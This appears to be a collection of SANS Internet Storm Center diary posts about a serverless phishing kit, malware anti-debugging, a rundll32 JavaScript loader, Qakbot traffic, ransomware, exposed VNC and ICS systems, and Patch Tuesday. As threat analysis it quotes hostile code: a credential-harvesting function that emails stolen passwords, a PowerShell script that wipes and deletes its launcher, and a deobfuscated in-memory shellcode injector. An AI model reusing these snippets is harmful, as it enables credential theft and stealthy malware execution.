With the campaign I spotted, the approach is different and I called it a "serverless" campaign because no server is required to store the kit. How does it work?

The phishing page is delivered through an email with just an attached HTML page. The content is obfuscated and, once opened, displays a nice page:

If you don't know this brand, SF Express can be categorized as a "Chinese DHL". It's a logistic company based in Shenzhen.

On top of the background picture, an overlay is rendered with the form. When the user clicks on the button, a JavaScript function is called:

<button class="primary-btn big verification_quick_login maidian" 
        onClick="sendEmail()"
        type="button">&#24555;&#36895;&#30331;&#24405;
</button>

Here is the function:

<script type='text/javascript'>
 function sendEmail() { 
    if (document.getElementById('password').value === '') {
        alert('Please enter a valid password!');
        return false;
    }
    var username = document.getElementById('username').value;
    var password = document.getElementById('password').value;
    Email.send({
    SecureToken : "180a2263-e984-4408-8235-xxxxxxxxxxxx",
    To : 'xxxxxxxxxxxxxx@gmail.com, xxxxxxxxxxx@yandex.com',
    From : 'xxxxxxxxxx@yandex.com',
    Subject : 'SF cAshOut',
    Body : 'SF EXPRESS Email - ' + username + ' Password - ' + password
    }).then(
    message => alert('Authentication Failed: Email / Password Incorrect!'));
    }
</script>

The SMTP functionally is provided by The SmtpJS JavaScript library:

<script src='https://smtpjs.com/v3/smtp.js'></script>

SmtpJS.com[1] allows developers to send emails from their JavaScript code in a very easy way. Note the "SecureToken" variable: it's a technique provided by SmtpJS to hide your SMTP relay and credentials. This token can be generated on their website:

The good point from a defense perspective is that this token can be used to track campaigns and actors!

[1] https://smtpjs.com

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

[Edited: The technique discussed in this diary is not mine and has been used without proper citation of the original author]

For bad guys, the implementation of techniques to prevent Security Analysts to perform their job is key! The idea is to make our life more difficult (read: "frustrating"). There are plenty of techniques that can be implemented[1] but it's an ever-ongoing process. Note that this topic is covered in the SANS FOR610[2] training.

An anti-debugging technique is based on the following steps:

1. To try to perform a specific action
2. To test the result with a branching instruction
3. To execute some code to defeat the analyst (exit the process, return a false value, lock the GUI or generate an exception (crash)

The example that I'll cover in this diary was the subject of a thread on a security mailing list and I found it interesting enough to be reported here (I'm just wrapping up the information here, this is not a personal finding).

The sample has the following SHA256 hash: 68af250429833d0b15d44052637caec2afbe18169fee084ee0ef4330661cce9c[3]. 

If you run the sample into a debugger, you'll see that it exits with an exception error but, when executed in a sandbox, it works like a charm. Let's see what's the magic behind this.

The exception occurs in a function FUN_140001364(). This function is called multiple times from FUN_14000165C() as seen on the graph below:

First, we have an obfuscation technique based on stack strings but with a shift of characters:

The string 'HgwZjxzqxxP...' can be decoded with this Python code block:

>>> s='HgwZjxzqxxP'
>>> d=''
>>> i=1
>>> for c in s:
...   d = d + chr(ord(c)-i)
...   i=i+1
...
>>> d
'GetVersionE'

The function FUN_140001364() expects two arguments:

Basically, it's a kind of GetProcAddress() replacement. The first argument is a pointer to the DLL to search and the second argument is the function to search in this DLL. But, when executed in a debugger, the first argument is NULL and it causes the exception. 

The question is now: why is this pointer set to NULL? We know how the anti-debugging works but how is it triggered?

In the function FUN_140001FBC(), we see a call to CreateFileW(). According to the Microsoft documentation, it expects 7 parameters[4]:

The first argument is the filename to work with. Very interesting, despite the function name, CreateFileW() can be used to create or OPEN files. In this case, the malware tries to open the Kernel32 DLL and read the content in memory. The file is opened in exclusive mode (dwShareMode is zeroed). From the documentation:

"If this parameter is zero and CreateFileW succeeds, the file or device cannot be shared and cannot be opened again until the handle to the file or device is closed".

This causes a problem with the debugger and CreateFileW() fails (RAX - the return value - contains 0xFFFFFFFF). The file won't be read and the execution continues until FUN_140001364() is called with a bad pointer and crashes.

To bypass this problem, an interesting technique was proposed in the discussion:  Let's duplicate kernel32.dll on the filesystem and rename it kernel33.dll. Then, just before the call to CreateFileW(), patch the memory and replace the filename:

Now you can do your job and continue to debug the sample. To conclude, here is another interesting technique used by the malware to cover its track. It overwrites the file that launched the sample with 0's and deletes it by calling a Powershell command:

$ppid = (gwmi win32_process | ? processid -eq $PID).parentprocessid;
$proc = Get-Process -FileVersionInfo -Id $ppid;
Stop-Process -Force -ErrorAction SilentlyContinue -Id $ppid;
$buff = [byte[]]@(, 0 * 1mb);
Set-Content -Path $proc.FileName -Force -Confirm:0 -Value $buff;
Remove-Item -Path $proc.FileName -Force -Confirm:0

[1] https://search.unprotect.it/map/
[2] http://for610.com
[3] https://bazaar.abuse.ch/sample/68af250429833d0b15d44052637caec2afbe18169fee084ee0ef4330661cce9c/
[4] https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

You may have heard sayings like "If it is broken, it is probably a DNS problem. And if it isn't DNS, it is still a DNS problem". Or "Everything that happens on your network is reflected in DNS.". DNS is a great protocol, sometimes shamed for things it can't help itself with, and sometimes forgotten (if it works well). One of the amazing things I find about DNS is all its little nuances and how it all "fits together". I planned this video series a couple months ago, and figured that this would be easy. I know DNS... but each time I look at DNS, I learn something new, so it has taken a while to get the first episodes together, and today I am releasing the first one. No fixed schedule on when they will be released (weekly?... if DNS doesn't prevent me to post them). No fixed end... not done yet considering topics and ideas.

You can find the first episode here: https://www.youtube.com/watch?v=b8-f-vvygU4

 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Ransomware has been evolving, and each evolution appears to be a bit "meaner" than the first. Early ransomware targeted consumers. Encrypting baby pictures, or tax records, motivated users to pay in some cases a few hundred dollars to get their data back. The attacker went for easy targets and with that for easy money. But as most people dealing with consumers can attest to: Customer support is hard! Many consumers do not know how to use crypto currencies. Even the relatively straightforward Bitcoin payment can be too difficult. And forget about currencies like Monero that are often not traded on mainstream exchanges.

Next came ransomware targeting enterprises. Payouts quickly reached millions of dollars. The influx of new money lead to the rapid development of more sophisticated methods to attack enterprise networks to plant ransomware. Attacks lasted weeks or months and not seconds. The attack carefully figured out how to cause the hardest to a particular entity and create sufficient urgency to pay the ransom, even if backups were available but too difficult to retrieve and install.

But attackers didn't stop here. Next, we had "extortion ware". In addition to encrypting the data, attackers exfiltrated the data and threatened to leak it. Companies like Quanta computers are said to have paid tens of millions of dollars to groups deploying this kind of software. Of course, if the organization doesn't pay, the attacker needs to find a method to release the data. This happened now to the Irish Health Services with what may be devastating consequences [1]. The ransomware attacker not only leaked private health information after a ransom payment was category denied. In addition, other miscreants, or the original attackers themselves, are now using this leaked data.

Apparently, individuals in Ireland are receiving calls claiming to come from the Irish Health Service, asking for banking information. The caller is using leaked data (personal information like birthday and address, but also the date and type of recent medical procedures) to authenticate themselves. The victim is then asked for banking information for a "refund". 

[1] https://siliconangle.com/2021/05/19/information-stolen-ransomware-attack-irelands-health-service-shared-online/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Legislation, in particular in the European Union, has led to a proliferation of "Cookie Banners." Warning banners that either ask you for blanket permission to set cookies or, in some cases, provide you with some control as to what cookies you do allow. These regulations emerged after advertisers made excessive use of HTTP Cookies to track users across different sites. But in my opinion, these measures are often implemented poorly. Changes in browsers have made cookies far less menacing than they have been in the past due to changes made in browsers. Other tracking technologies are bound to replace cookies and, in some cases, already have.

There are very legitimate uses for cookies to track a user's session. In my opinion, a proper session cookie has the following properties:

• It is restricted to a specific hostname (e.g., "isc.sans.edu")
• It has the httponly and secure parameter set ("same-site" is nice to have, of course)
• There is no expiration time, so the cookie will get deleted as soon as the user closes the browse. This defines a "Session Cookie." 
• For extra-extra credit: Start the cookie's name with __Host or __Secure prefix.

Many sites will set various additional cookies, and often they are inserted by middleware. As I hate "shaming" others, let me use isc.sans.edu as a bad example. 

% curl -si https://isc.sans.edu | grep Set-Cookie
Set-Cookie: visid_incap_2188750=FYohHlwAB06WoVxsdKMnPSB4tsf5BK; expires=Fri, 10 Jun 2022 09:40:10 GMT; HttpOnly; path=/; Domain=.sans.edu; Secure; SameSite=None
Set-Cookie: nlbi_2188750_2100128=4jQpYhNNrz5qk8KuDW1UNgAAAADjVqz5zQSu/0YJRz/fEYuM; path=/; Domain=.sans.edu; Secure; SameSite=None
Set-Cookie: incap_ses_1243_2188750=v0+KUhJRlXC7EJCHVwZAEePvwWAAAAAAE0OXILjXlfNemg/mxkNCeQ==; path=/; Domain=.sans.edu; Secure; SameSite=None
Set-Cookie: ___utmvmpOBuREXZZ=OcBPfJZKGQA; path=/; Max-Age=900; Secure; SameSite=None
Set-Cookie: ___utmvapOBuREXZZ=qloSeVq; path=/; Max-Age=900; Secure; SameSite=None
Set-Cookie: ___utmvbpOBuREXZZ=MZL

Pulling in the index page for the site, you actually do not get a session cookie at all. This is because all these cookies are set by our CDN/WAF (we use Imperva's service for that). All CDNs will add cookies to track user's sessions. Cloudflare for example explains its cookies [4].

Comparing this to dshield.org, which doesn't use Imperva:

% curl -si https://dshield.org | grep Set-Cookie
%

Using a simple curl script and checking the top 100 sites (according to majestic.com), About 30 are setting cookies right as you download the index page before having a chance to approve them, as tested with a simple curl script. Testing with a real browser shows many more "hits."

Here are some of the current limits to cookies in modern browsers:

• The RFC requires browsers to track at least 50 cookies per site (and 3000 total) [1]
• The maximum amount of data allowed per cookie is at least 4kBytes (some browsers allow more)
• If no "SameSite" property is set, browsers will now typically use "lax," not "none," so you get some basic CSRF protection by default
• Third-party cookies, or the ability to set cookies for another site, are pretty much dead in a modern browser

A "Cookie2" header was introduced to distinguish proper session cookies from regular cookies in the past. But this header never really took off and has since been deprecated. [3]

Sites that do use cookies banners to allow users to select what cookies they want have also gotten crafty in tricking users into allowing them via "dark patterns." You will typically first see a dialog asking you for blanket permission to set cookies, and you need to review a second dialog to select particular cookie types. Precious seconds will delay you from getting to the content (and as a result, the user will often "approve" the first dialog).

[1] https://datatracker.ietf.org/doc/html/rfc6265
[2] https://www.whatismybrowser.com/detect/are-third-party-cookies-enabled
[3] https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie2
[4] https://support.cloudflare.com/hc/en-us/articles/200170156-Understanding-the-Cloudflare-Cookies

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Introduction

Thanks to everyone who participated in the May 2021 forensic contest originally posted two weeks ago.  We received 45 submissions through our contact page, and most people had all the correct answers.  Unfortunately, we could only pick one winner.  In this case, our winner was the first to submit the correct information.  Join us in congratulating this month's winner, Pratik!  Pratik will receive a Raspberry Pi 4 kit.

You can still find the pcap for our May 2021 forensic contest here.

Shown above:  Pcap of the infection filtered in Wireshark.

Answers

IP address of the infected Windows computer:

• 172.16.4.206

Host name of the infected Windows computer:

• DESKTOP-V0FEH1L

User account name on the infected Windows computer:

• alfonso.paternoster

Date and time the infection activity began in UTC (the GMT or Zulu timezone):

• 2021-05-04 at 22:16:52 UTC

The family or families of malware on the infected computer:

• Qakbot (Qbot)

To help in your analysis of this activity, please review the Requirements section in our original diary for this contest.

Malware from the pcap

The iniitial malware activity in the pcap is seen when the victim's host retreived a Windows EXE or DLL from 185.183.99[.]115 on 2021-05-04 at 22:16:52 UTC.

Shown above:  TCP stream of traffic from 185.183.99[.]115 in the pcap.

The URL hosting this malware was reported to URLhaus, where it is tagged as Qakbot malware.  The IP address is also related to some malicious Excel spreadsheets with file names that start with Outstanding-Debt- and end with 05042021.xlsm.

Shown above:  Malicious Excel files submitted to Hatching Triage that contacted 185.183.99[.]115.

Qakbot traffic

Here's a Wireshark filter I use to review suspected Qakbot traffic:

Qakbot causes HTTPS C2 traffic directly to IP addresses, often over TCP port 443, but also using non-standard HTTPS ports like 995 or 2222.  Qakbot also generates other traffic when it turns an infected Windows host into a spambot.  Using the above Wireshark filter, I can quickly find the following Qakbot activity:

• Connectivity check to www.openssl.org (a legitimate site, not inherently malicious on its own)
• TCP traffic over TCP port 65400
• Connectivity/ IP address checks to api.ipifiy.org (also a legitimate site, not inherently malicious)
• Connectivity or banner checks to various email servers
• SMTP-based spambot traffic from the infected host

Shown above:  Other Qakbot-specific traffic from the infected Windows host.

Use a basic web filter and scroll down to the end of the pcap.  You should see indicators the infected host became a spambot and was contacting various email servers over TCP ports 25 and 465.

Shown above:  Start of spambot traffic from our Qakbot-infected host.

Final words

Qakbot infection activity follows noticeable patterns, which we covered in today's diary.  The traffic isn't much different than cases I've reported before, like this example from February 2021.

Thanks to all who participated in the May 2021 forensic contest, and congratulations again to Pratik for winning this month's competition!

You can still find the pcap here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

I spotted an interesting script on VT a few days ago and it deserves a quick diary because it uses a nice way to execute JavaScript on the targeted system. The technique used in this case is based on very common LOLbin: RunDLL32.exe. The goal of the tool is, as the name says, to load a DLL and execute one of its exported function:

C:\> rundll32.exe sample.dll,InvokedFunction()

Many Windows OS functions can be invoked through RunDLL32:

In the sample that was found, RunDLL32 is used to execute some JavaScript. Not a brand new technique but not very common (a retro-search on VT returned less than 50 samples!). To execute some JavaScript code, just call the DLL that provides JavaScript engine features:

C:\> rundll32.exe javascript:\..\mshtml,...

How is JavaScript executed from this command line? As explained above, RunDLL32 expects to receive a DLL as the first argument (here: javascript:“\..\mshtml). To achieve this, it uses LoadLibrary() and tries to load javascript:“\..\mshtml which seems to be a relative path. RunDLL32 goes one directory up and starts to search for mshtml in the common directories. Because Microsoft is doing a nice job, it adds automatically ”.dll” to the DLL name if not found and starts to search again. The DLL is found in the System32 directory as ProcessMonitor shows:

Let's have a look at the sample now (SHA256: 48d597a1c5fa6751b1a3a48922ed15ba5e9ac615de88e53b68057e3ff9dd2acb). The current VT score is 8/58[1]. 

When RunHTMLApplication is invoked it tries to execute the heavily obfuscated JavaScript:

rundll32.exe javascript:uetv1\..\mshtml,RunHTMLApplication ;eval(usxzeso5<odv!@buhwdYNckdbu)#VRbshqu/Ridmm#(:) \
eso5/Dowhsnoldou)#Qsnbdrr(()#he0(<#%25sqrru5<zfvlh!vho23^qsnbdrr!,ghmuds!qsnbdrrhe<%25`sfr|:%25omn8<)'%25sqrru \
5))'%25sqrru5)%25qhe((/q`sdouqsnbdrrhe((/bnll`oemhod/rqmhu(:hdy!)ZUdyu/Dobnehof\\;;@RBHH/FduRushof)ZBnowdsu\\; \
;GsnlC`rd75Rushof)%25omn8Z2\\(((#:eso5/Sto)#$vhoehs$]]rxrvnv75]]vhoenvrqnvdsridmm]]w0/1]]qnvdsridmm/dyd!hdy!%2 \
5dow;he0#-1-0(:|b`ubi)eso5(z|:bmnrd)(:.replace(/./g,function(qkp8{return(String.fromCharCode(qkp8.charCodeAt() \
^1));})) dHJ5e2Z1bmN0aW9uIGdke1BhcmFtIChbUGFyYW1ldGVyKFBvc2l0aW9uPTAsTWFuZGF0b3J5PSRUcnVlKV0gW1R5cGVbXV0gJFBhc \
mFtZXRlcnMsW1BhcmFtZXRlcihQb3NpdGlvbj0xKV0gW1R5cGVdICRSZXR1cm5UeXBlPVtWb2lkXSk7JFR5cGVCdWlsZGVyPVtBcHBEb21haW5 \
dOjpDdXJyZW50RG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgoTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoI \
lJlZmxlY3RlZERlbGVnYXRlIikpLFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHl \
uYW1pY01vZHVsZSgiSW5NZW1vcnlNb2R1bGUiLCRmYWxzZSkuRGVmaW5lVHlwZSgidCIsIkNsYXNzLFB1YmxpYyxTZWFsZWQsQW5zaUNsYXNzL \
EF1dG9DbGFzcyIsW1N5c3RlbS5NdWx0aWNhc3REZWxlZ2F0ZV0pOyRUeXBlQnVpbGRlci5EZWZpbmVDb25zdHJ1Y3RvcigiUlRTcGVjaWFsTmF \
tZSxIaWRlQnlTaWcsUHVibGljIixbU3lzdGVtLlJlZmxlY3Rpb24uQ2FsbGluZ0NvbnZlbnRpb25zXTo6U3RhbmRhcmQsJFBhcmFtZXRlcnMpL \
...

The interesting piece of code is this one:

.replace(/./g,function(qkp8){return(String.fromCharCode(qkp8.charCodeAt()^1));})

The eval() deobfuscates the payload by doing an XOR with the value 1. Here is the decoded block of code:

try{
  drn4=new ActiveXObject("WScript.Shell");
  (drn4.Environment("Process"))("id1")="rpsst4={gwmi win32_process -filter processid=args};
  nlo9=(&rpsst4((&rpsst4(pid)).parentprocessid)).commandline.split();
  iex ([Text.Encoding]]::ASCII.GetString([Convert]]::FromBase64String(nlo9[3]])))";
  drn4.Run("%windir%\\syswow64\\windowspowershell\\v1.0\\powershell.exe iex env:id1",0,1);
} catch(drn4){}; close();

The payload is extracted from the process command line. The first block (nlo9[3]) is Base64-encoded:

try {
  function gd {
    Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]);
    $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule  ("InMemoryModule",$false).DefineType("t","Class,Public,Sealed,AnsiClass,AutoClass",  [System.MulticastDelegate]);$TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed");
$TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementation. Flags("Runtime,Managed");
  return $TypeBuilder.CreateType();
  }

  function ga {
    Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure);
    $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")};
    $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");return  $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))),$Procedure));
   } 

  [Byte[]] $p=[Convert]::FromBase64String($nlo9[4]);
  [Uint32[]] $op=0;
  ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga kernel32.dll VirtualProtect),(gd @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($p,$p.Length,0x40,$op);
  ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga user32.dll CallWindowProcA),(gd @([Byte[]],[Byte[]],[UInt32],[UInt32],[UInt32]) ([IntPtr])))).Invoke($p,$p,0,0,0);
} catch{} 
sleep(1);
exit;

This block is responsible for the shellcode injection. The shellcode is located in $nlo9[4].

RunDLL32 is a very good candidate to launch malicious activities because the tool is available in all Windows servers, is signed by Microsoft, and usually trusted to be executed.

[1] https://bazaar.abuse.ch/sample/48d597a1c5fa6751b1a3a48922ed15ba5e9ac615de88e53b68057e3ff9dd2acb/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Ransomware attacks continue to be in the headlines everywhere, and are also an almost weekly reoccurring subject in the SANS Newsbites. As useful as many of the reports are that security firms and researchers publish on the subject, they often focus heavily on one particular incident or type of ransomware, and the associated "indicators of compromise" (IOCs). We already covered before how IOCs can turn into IOOI's (Indicators of Outdated Intelligence), and how to try to elevate the defense work from detecting IOCs to detecting TTPs (Tactics Techniques and Procedures).

While IOCs change quickly and often, a good TTP detection will still trigger on attack variants that look different. But it's still "detection", and therefore reactive and after the fact. Detection is best used to catch instances where the prevention failed, and should not be misused as a stand-in or replacement for preventive measures that we know we should have, but never got around to implement, enable or configure properly.

For Ransomware Prevention, most advice starts with "Have backups" and "Test your incident response". Both are true and valid. But the CISA.gov Ransomware Guide published last September has a decent list of additional advice that is worth reading.

From what became known of recent successful attacks, it looks like lack of 2-factor authentication (2FA) is still the most prevalent root cause. If you still have any remote access or remote desktop connections that rely on userid/password only, switch them to 2FA now!  And if you still have any webmail or the like without 2FA, make the change there as well.

For most avenues of infection, the attackers first have to establish a foothold on the compromised system, and find a mechanism to maintain remote access or command&control to the affected machine. These two phases (MITRE ATT&CK calls them "Execution" and "Persistence") provide additional chances to intercept or at least detect an ongoing compromise. Not so if that initial compromise occurs through exposed remote desktop - in that case, the bad guys basically score a home run, obtain interactive remote access from the get-go, and can get busy right away.  

As for webmail, your users WILL get successfully phished eventually, if not today then tomorrow. Absence of 2FA allows the attacker to impersonate your phished user, both towards your other employees, but also towards all your customers, clients and business partners. To those recipients, the email will look like it came from a known and trusted source, which increases the damage potential. Don't be the company that emails ransomware to others - activate 2FA for all your email users!

If you are in an industry that is considered to be part of "critical infrastructure" and are based in the US, you can apply to receive vulnerability scanning and security assessment support from CISA, *for free*. Check out https://www.cisa.gov/cyber-hygiene-services .

Further resources from SANS include a recent webcast, and a compilation of anti-ransomware resources. There is also an upcoming SANS Training, currently in Beta Test, titled "FOR528: Ransomware for Incident Responders", see https://www.sans.org/blog/for528-ransomware-for-incident-responders/ for more information.

 

Jan's last diary about the recent attack against the US pipeline[1] was in perfect timing with the quick research I was preparing for a few weeks. If core components of industrial systems are less exposed in the wild, as said Jan, there is another issue with such infrastructures: remote access tools. Today, buildings, factories, farms must be controlled remotely or sometimes managed by third parties. If Microsoft RDP is common on many networks (and is often the weakest link in a classic attack like ransomware), there is another protocol that is heavily used to remote control industrial systems: VNC ("Virtual Network Computing")[2]. This protocol works with many different operating systems (clients and servers), is simple and efficient. For many companies developing industrial systems, It is a good candidate to offer remote access. 

To give you an idea of the VNC popularity on the Internet, Shodan report this number of available systems:

• Port 5900: 907.387 hosts
• Port 5901: 738.545 hosts

Note: VNC uses by default the port 5900+n, where n is the display number (usually :0 for a physical display).

I had a look at open port 5900 & 5901 and captured 655K exposed VNC servers. Don't take me wrong, I don't say that VNC is bad. I still use it almost weekly but, like all tools, it must be configured and used in a proper way. Read: access must be restricted (passwords, access-lists) and traffic encrypted. My next step was to hunt for open VNC console (without any authentication). I did not brute force passwords or tried even simple passwords like "admin". I used the tool vncsnapshot[3] to take screenshots of non-protected systems through the Tor Network. 

Based on the sample screenshots below, you realize that many organizations are at risk, and many bad stories like the US pipeline attack will continue to raise in the news...

[1] https://isc.sans.edu/forums/diary/Number+of+industrial+control+systems+on+the+internet+is+lower+then+in+2020but+still+far+from+zero/27412/
[2] https://en.wikipedia.org/wiki/Virtual_Network_Computing
[3] https://github.com/IDNT/vncsnapshot

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

With the recent ransomware attack that impacted operation of one of the major US pipelines[1], I thought it might be a good time to revisit the old topic of internet-connected industrial systems. Since operational technologies are generally used to support/control processes that directly impact the physical world, the danger of successful attacks on them should be self-evident, as should the need to protect them.

While it is true that not all ICS, Industrial IoT devices and other similar systems are made equal, since some of them support highly critical processes, while others only control minor functions such as central heating in private residences, compromise of any of them would certainly not be desirable. One would therefore hope that - if nothing else - most such systems would not be directly accessible from the internet, especially since they are usually controlled with the help of specialized industrial protocols, that lack any kind of inbuilt security controls or even authentication and authorization checks.

As you have probably guessed, however, the number of internet-connected industrial systems is unfortunately much higher than one might wish.

Since (especially) many of the Industrial IoT devices are controlled only through web interfaces, it would be difficult to count all such systems on the internet. We may, however, at least look at the number of the public IPs where devices that communicate using different industrial protocols recognized by Shodan and Censys are/were accessible.

 

At the time of writing, Shodan detects approximately 80.8k public IP addresses where some sort of industrial system is accessible[2], while Censys sees about 74.2k such IPs[3]. Although this is hardly a “good” result, the numbers are significantly lower then they were 12 months ago, as the following chart based on data collected from Shodan using TriOp[4] shows.

While the overall situation seems to be slowly getting better, it is still far from ideal.

Although it would probably be too optimistic to expect it to improve significantly in the near future, perhaps the attention that the recent attacks on the pipeline and a water treatment plant in Florida[5] have gotten will have some positive effect in this area, as it may provide an impulse for organizations to at least check whether some their public IPs don’t allow direct access to their critical OT systems to anyone connected to the internet. Since such a check could be as simple as an nmap scan of relevant public IP ranges, it wouldn’t necessarily even cost that much in terms of time.

We can, however, only hope...

[1] https://www.bleepingcomputer.com/news/security/largest-us-pipeline-shuts-down-operations-after-ransomware-attack/
[2] https://www.shodan.io/search?query=tag%3Aics
[3] https://censys.io/ipv4?q=tags.raw%3A+%22scada%22
[4] https://isc.sans.edu/diary/27034
[5] https://www.bleepingcomputer.com/news/security/hackers-tried-poisoning-town-after-breaching-its-water-facility/

-----------
Jan Kopriva
@jk0pr
Alef Nula

This month we got patches for 55 vulnerabilities. Of these, 4 are critical, 3 were previously disclosed and none is being exploited according to Microsoft.

One of the critical vulnerabilities which requires special attention this month is a remote code execution (RCE) on HTTP Protocol Stack (CVE-2021-31166). An unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets. This vulnerability requires no user authentication or interaction - thus, it is considered a wormable vulnerability. The vulnerability affects different versions of Windows 10, Windows Server 2004 and Windows Server 20H2 and has a CVSS score of 9.8.

A second critical vulnerabilities addressed this month is RCE affecing Hyper-V on virtually all supported Windows versions (CVE-2021-28476). Microsoft's advisory states that the issue a guest VM to force the Hyper-V host's kernel to read from an arbitrary, potentially invalid address. In most circumstances, this would result in a denial of service of the Hyper-V host due to reading an unmapped address, but it may also could lead to other types of compromise of the Hyper-V host's security. The CVSS for this vulnerability is 9.9. 

The other two critical vulnerabilities are a RCE on OLE Automation (CVE-2021-31194) associated with a CVSS of 7.50 and a Scripting Engine Memory Corruption Vulnerability (CVE-2021-26419) affecting Internet Explorer 11 with a CVSS of 6.40. None of four critical vulnerabilities was previously disclosed. 

See my dashboard for a more detailed breakout: (https://patchtuesdaydashboard.com).

 

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET and Visual Studio Elevation of Privilege Vulnerability
%%cve:2021-31204%%	Yes	No	Less Likely	Less Likely	Important	7.3	6.4
Common Utilities Remote Code Execution Vulnerability
%%cve:2021-31200%%	Yes	No	Less Likely	Less Likely	Important	7.2	6.7
Dynamics Finance and Operations Cross-site Scripting Vulnerability
%%cve:2021-28461%%	No	No	Less Likely	Less Likely	Important	6.1	5.5
HTTP Protocol Stack Remote Code Execution Vulnerability
%%cve:2021-31166%%	No	No	More Likely	More Likely	Critical	9.8	8.5
Hyper-V Remote Code Execution Vulnerability
%%cve:2021-28476%%	No	No	Less Likely	Less Likely	Critical	9.9	8.6
Microsoft Accessibility Insights for Web Information Disclosure Vulnerability
%%cve:2021-31936%%	No	No	Less Likely	Less Likely	Important	7.4	6.7
Microsoft Bluetooth Driver Spoofing Vulnerability
%%cve:2021-31182%%	No	No	Less Likely	Less Likely	Important	7.1	6.2
Microsoft Excel Information Disclosure Vulnerability
%%cve:2021-31174%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2021-31195%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2021-31198%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Exchange Server Security Feature Bypass Vulnerability
%%cve:2021-31207%%	Yes	No	Less Likely	Less Likely	Moderate	6.6	5.8
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2021-31209%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Microsoft Jet Red Database Engine and Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2021-28455%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Microsoft Office Graphics Remote Code Execution Vulnerability
%%cve:2021-31180%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Office Information Disclosure Vulnerability
%%cve:2021-31178%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2021-31175%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-31176%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-31177%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-31179%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2021-31171%%	No	No	Less Likely	Less Likely	Important	4.1	3.6
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2021-31181%%	No	No	More Likely	More Likely	Important	8.8	7.7
Microsoft SharePoint Server Information Disclosure Vulnerability
%%cve:2021-31173%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2021-28474%%	No	No	More Likely	More Likely	Important	8.8	7.7
Microsoft SharePoint Spoofing Vulnerability
%%cve:2021-31172%%	No	No	Less Likely	Less Likely	Important	7.1	6.2
%%cve:2021-28478%%	No	No	Less Likely	Less Likely	Important	7.6	6.6
%%cve:2021-26418%%	No	No	Less Likely	Less Likely	Important	4.6	4.0
Microsoft Windows Infrared Data Association (IrDA) Information Disclosure Vulnerability
%%cve:2021-31184%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
OLE Automation Remote Code Execution Vulnerability
%%cve:2021-31194%%	No	No	Less Likely	Less Likely	Critical	8.8	7.7
Scripting Engine Memory Corruption Vulnerability
%%cve:2021-26419%%	No	No	More Likely	More Likely	Critical	6.4	5.8
Skype for Business and Lync Remote Code Execution Vulnerability
%%cve:2021-26422%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
Skype for Business and Lync Spoofing Vulnerability
%%cve:2021-26421%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2021-31211%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
